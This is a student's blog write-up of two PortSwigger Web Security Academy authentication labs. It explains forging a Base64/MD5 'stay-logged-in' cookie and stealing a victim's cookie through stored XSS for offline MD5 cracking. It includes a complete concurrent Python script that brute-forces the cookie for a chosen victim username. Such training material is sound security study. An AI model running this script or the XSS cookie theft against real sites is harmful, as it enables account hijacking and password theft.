Skip to main content
  1. Research & Techical Notes/

Authentication Vulnerabilities (other authentication mechanisms)

·859 words·5 mins
Nguyen Hoang Thanh Phong
Author
Nguyen Hoang Thanh Phong
Senior Information Assurance student at FPT University. Focused on Web vulnerability exploitation, AWS Security Architecture, and building automated penetration tooling
Web Security Iaw301 - This article is part of a series.
Part 5: This Article

Prerequisites / Theoretical Background
#

  • In addition to the primary login page, the “Remember me” functionality often harbors vulnerabilities due to insecure cookie management. Attackers can create their own accounts to study the system or utilize Cross-Site Scripting (XSS) to steal cookies. This allows them to identify weaknesses, such as tokens generated using predictable patterns (e.g., concatenating a username with a timestamp), weak encoding (such as Base64), or hashing algorithms lacking a cryptographic salt. Exploiting these flaws, attackers can easily execute brute-force attacks to forge cookies and hijack victim accounts, or more critically, reverse-lookup unsalted hashes online to extract the original plaintext passwords.

1. Brute-forcing a stay-logged-in cookie#

  1. Access the lab’s homepage: https://[LAB-ID].web-security-academy.net/. For this lab, the following credentials are provided:
  • Our credentials: wiener:peter
  • Victim’s username: carlos
Trang chủ bài lab
  1. Attempt to log in to Wiener’s account (ensure the Stay logged in option is checked).
Tài khoản Wiener
Cookie của tài khoản
  1. Observation reveals that in addition to the Set-Cookie directive for the current session, the server also issues a Set-Cookie for future stay-logged-in authentication. By double-clicking the stay-logged-in string and decoding it from Base64, we obtain the following cleartext format: wiener:51dc30ddc473d43a6011e9ebba6ca770.
Decoded stay-logged-in cookie
  1. The string 51dc30ddc473d43a6011e9ebba6ca770 is highly likely the MD5 hash of the password peter. We can verify this hypothesis by generating the hash ourselves.
Chuỗi băm md5 của mật khẩu peter
  1. It is also necessary to verify whether the stay-logged-in cookie alone is sufficient for authentication.
Kiểm tra xác thực cookie
  1. Therefore, to compromise carlos’s account, we solely need to brute-force the stay-logged-in cookie by encoding the carlos:md5hash string into Base64.
Brute force cookie thành công
  1. Right-click the successful request -> select Request in browser -> In current browser session, copy the generated URL, and paste it into the Firefox browser.
Thành công
  1. All the aforementioned steps can be automated using the following Python script:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
from concurrent.futures import ProcessPoolExecutor
import os
import asyncio
import multiprocessing
import hashlib
import base64
from urllib.parse import urljoin, urlparse
from curl_cffi.requests import AsyncSession, Session

class BruteForceCookie:
    def __init__(self, username: str, base_url: str, path: str):
        self.valid_user = 'wiener'
        self.valid_pass = 'peter'
        self.username = username
        self.base_url = base_url
        self.cookies = None
        self.queue = asyncio.Queue(maxsize=1000)
        self.target_url = urljoin(base_url, path)
        self.lock = asyncio.Lock()
        self.stop_event = asyncio.Event()
        self.CONCURRENCY = 50
        self.BATCH_SIZE = 1000
        self.CPU_COUNT = max(1, multiprocessing.cpu_count()*3//4)

    @staticmethod
    def create_cookies(username:str, password: str):
        try:
            md5_hash = hashlib.md5(password.encode('latin-1')).hexdigest()
            cookie = f"{username}:{md5_hash}"
            b64_str = base64.b64encode(cookie.encode('latin-1')).decode()
            return password, b64_str
        except Exception:
            return None

    async def __check_cookies(self, session: AsyncSession):
        while True:
            try:
                password = await asyncio.wait_for(self.queue.get(), timeout=0.2)
            except asyncio.TimeoutError:
                if self.stop_event.is_set():
                    return
                continue

            try:
                password, b64_cookie = self.create_cookies(self.username, password)
                if self.stop_event.is_set():
                    return

                cookie = {"stay-logged-in": b64_cookie}
                resp = await session.get(self.target_url, cookies=cookie, allow_redirects=False)

                if resp.status_code == 200:
                    async with self.lock:
                        if not self.stop_event.is_set():
                            self.stop_event.set()
                            print("\n=== Brute Force Successfully ===")
                            print(f"- Username: {self.username}")
                            print(f"- Password: {password}")
                            return
            except Exception:
                pass
            finally:
                self.queue.task_done()
                if not self.stop_event.is_set():
                    print(f"\rChecking... {password[:10]}", end="", flush=True)

    async def main(self, file_path: str):
        async with AsyncSession(impersonate="chrome142") as session:
            tasks = [
                asyncio.create_task(self.__check_cookies(session))
                for _ in range(self.CONCURRENCY)
            ]

            try:
                with open(file_path, "r", encoding="latin-1", errors="ignore") as f:
                    for line in f:
                        if self.stop_event.is_set():
                            break
                        password = line.strip()
                        if not password:
                            continue

                        while not self.stop_event.is_set():
                            try:
                                await asyncio.wait_for(self.queue.put(password), timeout=0.2)
                                break
                            except asyncio.TimeoutError:
                                continue

                await self.queue.join()
            finally:
                self.stop_event.set()
                for t in tasks:
                    t.cancel()
                await asyncio.gather(*tasks, return_exceptions=True)

if __name__ == "__main__":
    base_url = input("Enter your lab's base url: ")
    username = input("Enter the victim's username: ")
    filepass = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'password_candidate.txt')
    bot = BruteForceCookie(username, base_url, "/my-account")
    try:
        asyncio.run(bot.main(filepass))
    except Exception as e:
        print(f"[ERROR] {e}")
    
    print("=== END ===")
  1. Kết quả đầu ra của code
Kết quả code đầu ra
Thành công

2. Offline password cracking
#

  1. Access the lab’s homepage: https://[LAB-ID].web-security-academy.net/. For this lab, the following credentials are provided:
  • Our credentials: wiener:peter
  • Victim’s username: carlos
Lab homepage
  1. Attempt to log in to Wiener’s account with the stay-logged-in option enabled to inspect any anomalies within the website’s cookies.
Cookie containing unsalted password hash
  1. Inject test XSS payloads (e.g., alert()) to determine if the web application is vulnerable to Cross-Site Scripting, and if so, identify the specific vulnerable input field.
Testing for XSS vulnerability
XSS exists in the comment field
  1. An XSS vulnerability exists within the comment field. We can utilize JavaScript HTTP request methods to exfiltrate Carlos’s stay-logged-in cookie.
Using fetch to send the cookie to the exploit server
  1. By accessing the Access Log on the exploit server, we can observe two exfiltrated cookies in the incoming requests: one belonging to Wiener, and the other to Carlos.
Cookie retrieved successfully
  1. We will extract Carlos’s cookie and crack it offline to obtain his plaintext password. In this scenario, directly hijacking Carlos’s stay-logged-in cookie for authentication is not feasible due to the presence of a secret cookie designed to prevent brute-force/hijacking attempts. Furthermore, the actual plaintext password is required to delete Carlos’s account.
Password required to delete the account
  1. We will utilize CrackStation to decrypt this MD5 hash.
MD5 cracking result
  1. Once the plaintext password is acquired, we can log in directly and delete the account to successfully complete the lab.
Account deleted successfully
Web Security Iaw301 - This article is part of a series.
Part 5: This Article